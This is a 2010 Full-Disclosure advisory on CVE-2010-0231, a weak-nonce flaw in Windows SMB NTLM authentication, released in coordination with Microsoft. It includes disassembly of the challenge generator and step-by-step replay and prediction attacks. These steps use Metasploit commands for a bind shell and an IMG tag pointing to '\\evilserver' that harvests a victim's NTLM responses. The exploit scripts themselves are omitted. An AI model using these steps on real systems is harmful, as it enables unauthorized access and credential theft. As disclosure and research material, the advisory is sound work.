Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:23211
HistoryFeb 10, 2010 - 12:00 a.m.

[Full-disclosure] Windows SMB NTLM Authentication Weak Nonce Vulnerability

2010-02-1000:00:00
vulners.com
44

(to get the scripts mentioned by this advisory please get the full
version at http://www.hexale.org/advisories/OCHOA-2010-0209.txt; I did
not include them here to reduce the size of this email)

            Windows SMB NTLM Authentication Weak Nonce Vulnerability
                            Security Advisory
    Hernan Ochoa ([email protected]) - Agustin Azubel ([email protected])

Title: Windows SMB NTLM Authentication Weak Nonce Vulnerablity
Advisory ID: OCHOA-2010-0209
Advisory URL: http://www.hexale.org/advisories/OCHOA-2010-0209.txt
Date published: 2010-02-09
Vendors contacted: Microsoft
Release mode: Coordinated release
Last Updated: 2010-02-09

Index

1.Vulnerablity information
2.Vulnerablity description
3.Vulnerable systems
4.Vendor Information, solutions and workarounds
5.Credits
6.Technical description
6.1.NTLMv1 authentication protocol
6.2.The Flaws
6.3.Detecting if the SMB service generates duplicate 8-byte challenges
6.4.Exploiting duplicate challenges
6.4.1.Proof-of-Concept Exploit
6.5.Predicting challenges
6.5.1.SMB service: challenge generation process
6.5.2.Proof-of-Concept Exploit
7.References
8.Disclaimer

1.Vulnerability information

Impact: An unauthenticated remote attacker without any kind of
credentials can access the SMB service under the credentials of an
authorized user. Depending on the privileges of the authorized user, and
the configuration of the remote system, an attacker can gain read/write
access to the remote file system and execute arbitrary code by using
DCE/RPC over SMB.
Remotely Exploitable: Yes
Bugtraq Id: <unknown>
CVE: CVE-2010-0231

2.Vulnerability description

Microsoft Server Message Block (SMB) Protocol is a Microsoft network
file sharing protocol also used for sharing printers, communications
abstractions such as named pipes and mailslots, and performing Remote
Procedure Calls (DCE/RPC over SMB) [1].

NTLM (NT Lan Manager) is a challenge-response authentication protocol
used by the SMB protocol [2].

Windows systems commonly use the SMB protocol with NTLM authentication
for network file/printer sharing and remote administration via DCE/RPC.

Flaws in Microsoft's implementation of the NTLM challenge-response
authentication protocol causing the server to generate duplicate
challenges/nonces and an information leak allow an unauthenticated
remote attacker without any kind of credentials to access the SMB
service of the target system under the credentials of an authorized
user. Depending on the privileges of the user, the attacker will be able
to obtain and modify files on the target system and execute arbitrary code.

3.Vulnerable Systems

This vulnerability was verified by the authors on the following platforms:

Windows NT4 SP1
Windows Server 2003 SP2
Windows XP SP3
Windows Vista x32
Windows 7 x32 RC

However, all versions of Windows implementing NTLMv1 are suspected to be
affected.

Microsoft, in their "Microsoft Security Bulletin Advance Notification
for February 2010" [3], list the following platforms as affected:

Windows 2000 SP4
Windows XP SP2 and SP3
Windows XP Professional x64 Edition SP2
Windows Server 2003 SP2
Windows Server 2003 x64 Edition SP2
Windows Server 2003 SP2 for Itanium-based systems
Windows Vista
Windows Vista SP1
Windows Vista SP2
Windows Vista x64 Edition
Windows Vista x64 Edition SP1
Windows Vista x64 Edition SP2
Windows Server 2008 x32
Windows Server 2008 x32 SP2
Windows Server 2008 x64 SP2
Windows Server 2008 x64 SP2
Windows Server 2008 for Itanium-based systems
Windows Server 2008 for Itanium-based systems SP2
Windows 7 x32

See [3] for more details.

Given that Windows NT 4 was relased in ~1996 this vulnerability has been
present for ~14 years. If it is confirmed this vulnerablity is also
present in older systems such as Windows NT 3.1, released in ~1993,
Windows NTLMv1 authentication mechanism could have been vulnerable for
~17+ years.

4.Vendor Information, Solutions and Workarounds

SMB NTLM Authentication Lack of Entropy Vulnerability - CVE-2010-0231
http://www.microsoft.com/technet/security/bulletin/ms10-012.mspx

5.Credits

This vulnerability was discovered by Hernan Ochoa (Independent
Information Security Consultant and Researcher) and it was researched by
Hernan Ochoa and Agustin Azubel (Independent Information Security
Consultant and Researcher).

6.Technical description

Microsoft Server Message Block (SMB) Protocol is a Microsoft network
file sharing protocol also used for sharing printers, communications
abstractions such as named pipes and mailslots, and performing Remote
Procedure Calls (DCE/RPC over SMB) [1].

NTLM (NT Lan Manager) is a challenge-response authentication protocol
used by the SMB protocol [2].

Windows systems commonly use the SMB protocol with NTLM authentication
for network file/printer sharing and remote administration via DCE/RPC.

Flaws in Microsoft's implementation of the NTLM challenge-response
authentication protocol causing the server to generate duplicate
challenges/nonces and an information leak allow an unauthenticated
remote attacker without any kind of credentials to access the SMB
service of the target system under the credentials of an authorized
user. Depending on the privileges of the user, the attacker will be able
to obtain and modify files on the target system and execute arbitrary code.

6.1.NTLMv1 authentication protocol

The NTLMv1 authentication protocol is a challenge-response protocol that
consists of the following messages:

    1. The client sends to the server a message containing a set of flags of

features supported/requested to perform authentication.
2. The server responds with a message containing a set of flags
supported/required by the server enabling both ends to agree on the
authentication parameters and, more importantly, an 8-byte random
challenge/nonce.
3. The client uses the random challenge/nonce and the user's
credentials to calculate the response (24 bytes) and sends it to the server.
4. The server determines if the response is correct and allows or
disallows access to the client.

The randomness of the 8-byte challenge/nonce returned by the server
tries to ensure that every challenge-response sequence is unique helping
protect against replay attacks.

6.2.The Flaws

Several flaws were found leading to attacks such as generation of
duplicate challenges/nonces and challenge/nonce prediction.

The randomness of the 8-byte challenges generated by the SMB server in
response to an specific packet requesting authentication is bad enabling
attackers to perform replay attacks. The SMB server easily generates
duplicate 8-byte challenges.

The challenge/nonce prediction attack is feasible due to several factors
including that the protocol leaks information that can be used by an
attacker to calculate the internal state of the PRNG used to generate
challenges.

6.3.Detecting if the SMB service generates duplicate 8-byte challenges

Detecting the generation of duplicate challenges can be verified
remotely by repeatedly sending 'SMB Negotiate Protocol Request' packets
to a Windows system with the 'Flags2' field set to 0xc001 (disabling
security signatures, extended attributes and extended security
negotiation) recording the 8-byte challenges obtained from the server
and waiting for duplicates.

The following Ruby script can be used to test for the presence of this
vulnerability:

<test2_ochoa_2010-0209.rb>

6.4.Exploiting duplicate challenges

There are different ways to exploit duplicate challenges, including:

    &#40;i&#41; An attacker A can eavesdrop network traffic looking for NTLM

authentication messages exchanged between client C and server S ('SMB
Negotiate Protocol Requests' packets and 'SMB Negotiate Protocol
Responses' packets), storing challenges and their corresponding
responses. The attacker A can then perform several authentication
requests to server S until S returns a previously observed challenge (a
duplicate).At that point attacker A will send the corresponding and
previously recorded response.

    We did not find so far any current Windows version &#40;XP,Vista,7,etc&#41;

that by default or using some specific configuration, when acting as an
SMB client, would generate the necessary 'SMB Negotiate Protocol
Request' packets with the correct values in the 'Flags2' field to
trigger the vulnerability when accessing a remote SMB service. Hence we
were unable to collect duplicate challenges only by network sniffing.

    Tests were performed with the third-party SMB client &#39;smbclient&#39; from

the SAMBA project with the same negative results (tests were not
exhaustive).

    Since this problem was also found on Windows versions as old as Windows

NT4, this scenario might still be possible.

    &#40;ii&#41; An attacker A connects to system S and sends mutiple &#39;SMB

Negotiate Protocol Request' packets with the 'Flags2' field set to
0xc001 to obtain several challenges, and stores them. The attacker A
then forces a user U on system S to connect to his own specially crafted
SMB server, for example by sending an email with multiple <IMG> tags
with UNC links (e.g.: <IMG SRC=\\evilserver\share\a.jpg>) or a link to
web server with similar <IMG> tags. Upon receiving the connections from
system S,the attacker's SMB server will respond with the previously
obtained challenges and will store the corresponding responses returned
by the remote system. Attacker A has now a set of responses which are
the challenges encrypted with user's U credentials.
Finally, the attacker A will perform several authentication requests to
system S until it returns one of the challenges obtained at the
beginning of this attack, and at that point he will replay the
corresponding and previously obtained response to gain access to system
S as user U.

    If user U has, for example, local administrator privileges on system S

(not uncommon for Windows XP users, for example), remote code execution
is possible via DCE/RPC over SMB. Even if user U has no administrator
privileges attacker A can still access, for example, file shares
accessible by user U and read/modify information.

    Tests performed showed that challenges and responses obtained from a

system S can be reused multiple times against that same system and other
remote systems. We observed that challenges obtained from a system S
were also returned by other remote systems. This means that attacker A
only needs, in the best case scenario, to force user U to connect to his
own specially crafted SMB server once. Of course, user U must have
access (his credentials must be valid) to the other systems attacked.

    This attack needs the victim to have port 445/tcp open and the attacker

to be able to access that port. The victim also needs to be able to
access port 445/tcp on the attacker's server (only once, to record
responses. Subsequent attacks do not need the victim to access the
attacker's system).

    This simple attack using a &#39;brute-force&#39; approach to find duplicate

challenges proved to be acceptably effective.

6.4.1.Proof-of-Concept Exploit

The exploit implementation is twofolded:

    &#40;i&#41; setup_smb_weak_nonce.rb     

            This standalone Ruby script performs several connections to the victim

sending 'SMB Negotiate Protocol Request' packets to obtain 8000
challenges (the number of challenges to be obtained can be changed).
After collecting 8000 challenges, it will listen on port 445/tcp for
incoming SMB connections originated by the victim. For every connection
received, it will send to the victim one of the previously obtained
challenges and will store the corresponding response obtained.
As a simple example of a method to force the victim to connect to the
attacker, the file 'conn.html' is provided. This is a very simple HTML
file with javascript code that will generate 1000 <IMG> tags with an UNC
link to different image files.
The challenges and responses obtained are saved to the file
'fullcreds.log'.

    &#40;ii&#41;  msf_smb_weak_nonce.rb

            This metasploit module will perform connections to the victim until

the server responds with one of the duplicate challenges stored in
'fullcreds.log'. The module will then send the corresponding response to
gain access to the victim's SMB service.
Finally, after successful exploitation, the module will create the
file 'owned.txt' in the ADMIN$ share (c:\windows) with the following
text: "Windows SMB NTLM Authentication weak nonce vulnerability
successfully exploited!".
This module can be easily modified to execute code on the remote
system (given the target user has enough privileges).

To exploit the vulnerability repeat the following steps:

            1. copy msf_smb_weak_nonce.rb to

<METASPLOIT_DIR>/modules/exploits/windows/smb
2. Run setup_smb_weak_nonce.rb specifying the IP of the victim (e.g.:
ruby setup_smb_weak_nonce.rb 192.168.10.1). After collecting the nonces
the script will listen on port 445 for incoming SMB connections.
3. Run Internet Explorer and load 'conn.html'. This will produce 1000+
connections to the SMB server implemented by setup_smb_weak_noce.rb.

            &#40;Note 1: setup_smb_weak_nonce.rb needs to be run as root to be able to

listen on port 445/tcp)
(Note 2: If you load 'conn.html' with Internet Explorer and
'conn.html' is stored on a local drive (e.g.:c:\conn.html) it is
possible Internet Explorer will prompt you to allow execution of the
javascript code within 'conn.html'. This is not a limitation of the
attack, it is just an extra protection implemented by Internet Explorer,
the 'conn.html' does not even need to contain javascript code, it uses
it just because it is convenient, you could just as easily 'hard-code'
all <IMG> tags. Also, loading the html file from the a local disk is not
a real attack scenario, all of this is for demonstration purposes).

            4.After 1000 connections are received by setup_smb_weak_nonce.rb the

script will terminate. The file 'fullcreds.log' will be generated. Copy
'fullcreds.log' to /tmp.
5. run metasploit (msfconsole) and execute the following commands:
-use windows/smb/msf_smb_weak_nonce
-set RHOST <victim_ip>
for example: set RHOST 192.168.10.1
-set payload windows/shell/bind_tcp
-exploit

            The metasploit module looks for &#39;fullcreds.log&#39; in &#39;/tmp&#39; by default.

You can specify the location of the 'fullcreds.log' file using the
following command:

            -set CREDSFILE &lt;path+filename&gt;

            for example:
                    -set CREDSFILE /mydir/fullcreds.log
            
            
            6.the metasploit module will start performing connections to the

victim until receiving a duplicate challenge for which there's a
response in the 'fullcreds.log' file. After successfully authenticating
to the victim, the script will create the file 'owned.txt' in c:\windows
via the ADMIN$ share (given the user exploited has enough privileges).

            Please remember that this proof-of-concept exploit requires the targer

user to have enough privileges (e.g.: local administrator) to access the
ADMIN$ share remotely. However, the target user does need to have this
privilege level in order for the attacker to exploit the vulnerability.
For example: if the target user only has regular user privileges, an
attacker can access the file shares that user has access to. Also,
exploiting the vulnerabiliy and the level of access obtained are two
different things.

            This is just a proof-of-concept exploit, it can be improved and optimized.

Next are all the previously mentioned files part of the proof-of-concept
exploit:

<setup_smb_weak_nonce.rb>
<msf_smb_weak_nonce.rb>
<conn.html>

6.5.Predicting challenges

    The challenge/nonce prediction attack is feasible due to several

factors including that the protocol leaks information that can be used
by an attacker to calculate the internal state of the PRNG used to
generate challenges.
In order to explain the attack implemented next we begin by explaining
the method used by the Windows SMB service to generate challenges.

6.5.1.SMB service: challenge generation process

    &#40;Note: during this explanation we are going to use the code for the

Windows XP version of all modules mentioned. The code is the same in all
platforms with some minor differences for some platforms but these
differences do not produce a different behaviour).
The function that generates the challenges returned in 'SMB Negotiate
Protocol Response' packets is srv.sys!GetEncryptionKey():

    It takes the current time, and adds to the low part of the current time

the value of the
global variable _EncryptionKeyCount.

    00040735                 lea     eax, [ebp+CurrentTime]
    00040738                 push    eax
    00040739                 call    ds:__imp__KeQuerySystemTime@4
    0004073F                 mov     eax, _EncryptionKeyCount
    00040744                 add     dword ptr [ebp+CurrentTime], eax


    Increments _EncryptionKeyCount by 0x100 and makes some &#39;calculations&#39;
    with the &#40;current time.lowpart + _EncryptionKeyCount&#41; resulting in a

DWORD value with the
following 'pattern':

                    where CT = &#40;current time.lowpart + _EncryptionKeyCount&#41;

                            seed = CT[1], CT[2]-1, CT[2], CT[1]+1;


    00040747                 movzx   ecx, byte ptr [ebp+CurrentTime+1]
    0004074B                 movzx   eax, byte ptr [ebp+CurrentTime+2]
    0004074F                 add     _EncryptionKeyCount, 100h
    00040759                 mov     edx, ecx
    0004075B                 shl     edx, 8
    0004075E                 lea     esi, [eax-1]
    00040761                 or      edx, esi
    00040763                 mov     esi, ds:__imp__RtlRandom@4
    00040769                 shl     edx, 8
    0004076C                 or      edx, eax
    0004076E                 shl     edx, 8
    00040771                 inc     ecx
    00040772                 lea     eax, [ebp+Seed]
    00040775                 or      edx, ecx

    Then it calls the ntoskrnl.exe!RtlRandom&#40;&amp;seed&#41; function three times, using
    as a &#39;seed&#39; the value with the pattern shown above. Each call to

ntosrnkl.exe!RtlRandom(&seed)
returns in 'seed' a different value (meaning each call does not use the
same value as a 'seed').

    00040777                 push    eax
    00040778                 mov     [ebp+Seed], edx
    0004077B                 call    esi ; RtlRandom&#40;x&#41;
    0004077D                 mov     [ebp+var_18], eax
    00040780                 lea     eax, [ebp+Seed]
    00040783                 push    eax
    00040784                 call    esi                            ; RtlRandom&#40;x&#41;
    00040786                 mov     ebx, eax
    00040788                 lea     eax, [ebp+Seed]
    0004078B                 push    eax                           ; Seed
    0004078C                 call    esi                           ; RtlRandom&#40;x&#41;

    The calls to ntoskrnl.exe!RtlRandom&#40;&amp;seed&#41; generate 3 &#39;random&#39; numbers.
    Based on the value of random_number3, random_number1 and random_number2 are
    modified:

    0004078E                 test    al, 1
    00040790                 mov     ecx, 80000000h
    00040795                 jz      short loc_4079A
    00040797                 or      [ebp+var_18], ecx
    0004079A
    0004079A loc_4079A:
    0004079A                 test    al, 2
    0004079C                 jz      short loc_407A0
    0004079E                 or      ebx, ecx
    000407A0
    000407A0 loc_407A0:

    Finally, the code returns the challenge in the form

bytes(random_number1, random_number2)

    000407A0                 mov     eax, [ebp+var_18]
    000407A3                 mov     ecx, [ebp+var_4]
    000407A6                 mov     [edi+4], ebx
    000407A9                 mov     [edi], eax
    000407AB                 pop     edi
    000407AC                 pop     esi
    000407AD                 pop     ebx
    000407AE                 call    @__security_check_cookie@4
    000407B3                 leave
    000407B4                 retn    4

    Next is pseudo-code for the function srv.sys!GetEncryptionKey&#40;&#41;:
    

    // Global Variable
    DWORD _EncryptionKeyCount = 0;

    srv.sys!GetEncryptionKey&#40;byte OUT *pChallenge&#41;
    {
    LARGE_INTEGER currentTime;
    DWORD seed;
    DWORD random_number1, random_number2, random_number3;


            KeQuerySystemTime&#40;&amp;CurrentTime&#41;;
            CurrentTime.LowPart += _EncryptionKeyCount;

            _EncryptionKeyCount += 0x100;

            CT = CurrentTime.LowPart;

            seed = CT[1], CT[2]-1, CT[2], CT[1]+1;

            random_number1 = ntoskrnl.exe!RtlRandom&#40;&amp;seed&#41;;
            random_number2 = ntoskrnl.exe!RtlRnadom&#40;&amp;seed&#41;;
            random_number3 = ntoskrnl.exe!RtlRandom&#40;&amp;seed&#41;;


            if &#40; &#40;random_number3 &amp; 1&#41; == 1&#41; {
                    random_number1 |= 0x80000000
            }

            if&#40; &#40;random_number3 &amp; 2&#41; == 2 &#41; {
                    random_number2 |=  0x80000000
            }

            *pChallenge =  bytes&#40;random_number1, random_number2&#41;;
    }

    The code for ntoskrnl.exe!RtlRandom&#40;&amp;seed&#41; is the following:

    It receives the seed and performs the following calculations:

            X0 = *seed;
            X1 = &#40;a*X0 + b &#41; mod m
            where:
                    a = 0x7FFFFFED
                    b = 0x7FFFFFC3
                    m = 0x7FFFFFFF
    
    004B5B75                 mov     edi, edi
    004B5B77                 push    ebp
    004B5B78                 mov     ebp, esp
    004B5B7A                 push    ebx
    004B5B7B                 push    esi
    004B5B7C                 mov     esi, [ebp+Seed]
    004B5B7F                 mov     eax, [esi]
    004B5B81                 imul    eax, 7FFFFFEDh
    004B5B87                 push    edi
    004B5B88                 mov     ecx, 7FFFFFC3h
    004B5B8D                 add     eax, ecx
    004B5B8F                 mov     edi, 7FFFFFFFh
    004B5B94                 xor     edx, edx
    004B5B96                 mov     ebx, edi
    004B5B98                 div     ebx

            With the X1 value performs similar calculations:

            X2 = &#40;a*X1 + b&#41; mod m

    004B5B9A                 mov     ebx, edx
    004B5B9C                 mov     eax, edx
    004B5B9E                 imul    eax, 7FFFFFEDh
    004B5BA4                 add     eax, ecx
    004B5BA6                 xor     edx, edx
    004B5BA8                 div     edi

    It sets the value of seed to X2

    004B5BAA                 pop     edi
    004B5BAB                 mov     [esi], edx

    it calculates  &#40;X2 &amp; 0x7F&#41; to generate an index for the

_RtlpRandomConstantVector

    004B5BAD                 and     edx, 7Fh
    004B5BB0                 lea     ecx, _RtlpRandomConstantVector[edx*4]

    and finally fetches the value found at the previously calculated index,

and also
stores the value of X1 in that position.

    004B5BB7                 mov     eax, [ecx]
    004B5BB9                 pop     esi
    004B5BBA                 mov     [ecx], ebx

    
    Next is pseudo-code for the function ntoskrnl.exe!RtlRandom:

    // Global variable
    DWORD ntoskrnl.exe!RtlpRandomConstantVector [128] = {...}

    DWORD ntoskrnl.exe!RtlRandom&#40;DWORD *pseed&#41;
    {
    DWORD a = 0x7FFFFFED;
    DWORD b = 0x7FFFFFC3;
    DWORD m = 0x7FFFFFFF;
    DWORD X0, X1, X2;

            X0 = *pseed;
            X1 = &#40; a*X0 + b &#41; mod m
            X2 = &#40; a*X1 + b &#41; mod m
            *pseed = X2;
            ndx = X2 &amp; 0x7F;
            n = RtlpRandomConstantVector[ndx];
            RtlpRandomConstantVector[ndx] = X1;
            return n;
    }

    In Summary,
    
    The srv.sys!GetEncryptionKey&#40;&#41; does the following:
            - Gets current time, takes the low part &#40;4 bytes&#41; and adds the value

of _EncryptionKeyCount (4-bytes)
- Increments _EncryptionKeyCount by 0x100
- Takes the two 'middle' bytes of CT=(current time.lowpart +
_EncryptionKeyCount) and creates
a seed with the form CT[1], CT[2]-1, CT[2], CT[1]+1.
- Calls ntoskrnl.exe!RtlRandom three times and obtains three random
numbers (random1,random2,random3)
- Depending on the value of random3, makes some modifications to
random1 and random2
- creates the challenge by creating an array of bytes in the form
random1, random2

    The ntoskrnl.exe!RtlRandom function appears to be a Maclaren-Marsaglia

PRNG algorithm using two LCGs (linear congruential generators) [4] with
a vector of 128 bytes.

            We know the following facts:

                    - _EncryptionKeyCount starts with a value of 0
                    - _EncryptionKeyCount is only modified by srv.sys!GetEncryptionKey.

The code that calls srv.sys!GetEncryptionKey() is not regularly
triggered, but only when the SMB service receives a packet like the one
we use with the 'flags2' field set to 0xc001
- We have not observed 'modern' Windows systems (Windows XP SP3,
Vista, 7, etc) generate these kind of packets
- This allows us to expect that before start conducting an attack
against any 'modern' Windows system, _EncryptionKeyCount will always be
0; by keeping count of the number of packets we send, we can also
calculate the value of _EncryptionKeyCount for further connections
- Interestingly enough, in our tests, the value of Current Time used
by srv.sys!GetEncryptionKey to generate the seed was the same value
returned by the SMB service to the client in the field 'System Time' of
an 'SMB Negotiate Protocol Response' packet
- The initial state of the vector used by ntoskrnl.exe!RtlRandom is
hard-coded, but it is modified every time the function is called and it
is called every time a new process is created (modifications might not
be that many).

            Based on these facts we implemented the following attack to predict

challenges:

            - We set the vector used by ntoskrnl.exe!RtlRandom to a &#39;known state&#39;
                    -To do this we send multiple &#39;SMB Negotiate Protocol Request&#39; packets

with the 'flags2' field set to 0xc001 to trigger
srv.sys!GetEncryptionKey which in turns calls ntoskrnl.exe!RtlRandom
modifying its internal vector (~300 packets)
-Since we know the seed used by the server to perform the previous
actions, because it is in the 'System Time' field of the 'SMB Negotiate
Protocol Response' packet we receive, and we also know all the other
variables including the value of _EncryptionKeyCount, we can do the same
calculations updating our own vector
-We repeat this process until all 128 values of our vector are
calculated. At this point we know the state of the table on the remote
system, we know all of its values and their position within the vector.

            - We calculate all possible challenges that can be generated with that

'known state' next time srv.sys!GetEncryptionKey is called
- We force the victim to connect to our specially crafted SMB server
to get all those challenges encrypted with the credentials of the victim
(an average of ~16000 to ~48000 possible challenges)
- At this point we know that if we send another authentication request
to the victim the challenge returned will be one of the pre-calculated
challenges. We make the connection, get the challenge, look for the
corresponding response we obtained from the victim, and authenticate to
the SMB service.

6.5.2.Proof-of-Concept Exploit

Next are the necessary steps to perform the attack:

            - Run predictor.rb against the victim. E.g.: ruby predictor.rb

192.168.1.110
This script will show the progress of 'setting' the values of the
victims RtlRandom's internal vector.
It will display something like this:

            &#40;0x00-0x04&#41; 0x00000000 0x00000000 0x00000000 0x2948d15b
            &#40;0x04-0x08&#41; 0x72f4dda5 0x00000000 0x14dbf86f 0x00000000
            &#40;0x08-0x0c&#41; 0x00000000 0x62d2c31e 0x00000000 0x7ef9db03
            &#40;0x0c-0x10&#41; 0x00000000 0x0dfdee4d 0x00000000 0x0ecd0d97
            &#40;0x10-0x14&#41; 0x00000000 0x04d986e1 0x00000000 0x00000000
            &#40;0x14-0x18&#41; 0x00000000 0x35fdf275 0x00000000 0x00000000
            &#40;0x18-0x1c&#41; 0x00000000 0x47b6b289 0x00000000 0x00000000
            &#40;0x1c-0x20&#41; 0x5b9a7eb8 0x00000000 0x00000000 0x3b150ecc
            &#40;0x20-0x24&#41; 0x146909b1 0x7a3022b1 0x00000000 0x00000000
            &#40;0x24-0x28&#41; 0x23bfb6e0 0x00000000 0x00000000 0x0e5c7c0f
            &#40;0x28-0x2c&#41; 0x3f027a59 0x00000000 0x00000000 0x00000000
            &#40;0x2c-0x30&#41; 0x00000000 0x00000000 0x6a3158d2 0x00000000
            &#40;0x30-0x34&#41; 0x69d97001 0x2cd5c5e6 0x00000000 0x2cdcb5b0
            &#40;0x34-0x38&#41; 0x00000000 0x00000000 0x00000000 0x00000000
            &#40;0x38-0x3c&#41; 0x00000000 0x00000000 0x00000000 0x00000000
            &#40;0x3c-0x40&#41; 0x08deca3d 0x4954003d 0x00000000 0x00f5b207
            &#40;0x40-0x44&#41; 0x4de0efd1 0x00000000 0x00000000 0x56bf3780
            &#40;0x44-0x48&#41; 0x25210c65 0x00000000 0x00000000 0x00000000
            &#40;0x48-0x4c&#41; 0x00000000 0x00000000 0x00000000 0x00000000
            &#40;0x4c-0x50&#41; 0x00000000 0x00000000 0x00000000 0x00000000
            &#40;0x50-0x54&#41; 0x00000000 0x397415a1 0x34aa91eb 0x00000000
            &#40;0x54-0x58&#41; 0x231aeb35 0x00000000 0x00000000 0x00000000
            &#40;0x58-0x5c&#41; 0x00000000 0x04223749 0x00000000 0x1b4c91f8
            &#40;0x5c-0x60&#41; 0x00000000 0x00000000 0x00000000 0x71ad9da7
            &#40;0x60-0x64&#41; 0x00000000 0x00000000 0x00000000 0x046696bb
            &#40;0x64-0x68&#41; 0x00000000 0x00000000 0x193b264f 0x439ef5b4
            &#40;0x68-0x6c&#41; 0x5bdd2f34 0x00000000 0x00000000 0x481eaee3
            &#40;0x6c-0x70&#41; 0x00000000 0x00000000 0x50b1e1f7 0x2a8d71dc
            &#40;0x70-0x74&#41; 0x00000000 0x02240f41 0x0ae7948b 0x37af3d8b
            &#40;0x74-0x78&#41; 0x00000000 0x00000000 0x77130a3a 0x640bf49f
            &#40;0x78-0x7c&#41; 0x31665169 0x20a1c769 0x00000000 0x00000000
            &#40;0x7c-0x80&#41; 0x6958e618 0x00000000 0x00000000 0x00000000
            known values: 48/128


    - When predictor.rb finishes, it writes the values of the vector to

'x_values.log' (it also generates a file 't_values.log' containing the
'current times' observed in the 'SMB Negotiate Protocol Response' packets).
- Run generate_challenges.rb, it will generate the file
'challenges.log' with all the possible challenges based on 'x_values.log'.
- Run savecreds.rb, it will wait for incoming connections on port 445/tcp
- On the victim, use 'predict.html' with Internet Explorer to perform
SMB connections to savecreds.rb's server
You will need to change the IP address of the server where savecreds.rb
is running in 'predict.html', and
also the number of connections to perform (look for the line: 'if (id
== 50000) {' and change accordingly).
The number of connections that need to be performed is shown by
savecreds.rb.
- When savecreds.rb is finished, a file 'fullcreds.log' will be created
- Now use the metasploit module msf_smb_weak_nonce.rb as explained
before with the recently generated 'fullcreds.log' against the victim
- You should be able to authenticate with the victim at the ~first attempt

    Sometimes the challenge is correctly &#39;guessed&#39; at the first attempt,

but the attack fails because of some SMB error. If this happens please
note that the challenge was indeed correctly predicted.
Also note that since the internal vector is not completely modified
after just one connection, the exploit will actually be able to predict
more challenges (you might be able to run the metasploit exploit
multiple times before performing the whole attack all over again).

    The predictor.rb assumes the EncryptionKeyCount is 0. If you want to

run the attack multiple times you
just need to modify its value in predictor.rb. The value of
EncryptionKeyCount after the attack is displayed by predictor.rb when it
terminates (you need to use the value displayed + 0x100).

    After generate_challenges.rb is executed, if the number of possible

challenges is 'too big' (~48000 or more) you
might want to run predictor.rb again. The size of the set of possible
challenges vary according to the values in the vector. Remember to
adjust EncryptionKeyCount before running predictor.rb. We recommend
peforming the attack when EncryptionKeyCount is 0 specially if this is
the first time this proof-of-concept is used.

    This is just a proof-of-concept exploit, it can be improved and optimized.

<savecreds.rb>
<predict.html>
<predictor.rb>
<generate_challenges.rb>

7.References

[1] Microsoft SMB Protocol and CIFS Protocol Overview
http://msdn.microsoft.com/en-us/library/aa365233&#40;VS.85&#41;.aspx

[2] Microsoft NTLM
http://msdn.microsoft.com/en-us/library/aa378749&#40;VS.85&#41;.aspx

[3] Microsoft Security Bulletin Advance Notification for February 2010
http://www.microsoft.com/technet/security/Bulletin/ms10-feb.mspx

[4] Bruce Schneier, Applied Cryptography (Second Edition), 1996.
Chapter 16, pp 369.

8.Disclaimer

The contents of this advisory are copyright (c) 2010 Hernan Ochoa, and
may be distributed freely provided that no fee is charged for
distribution and proper credit is given.


Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/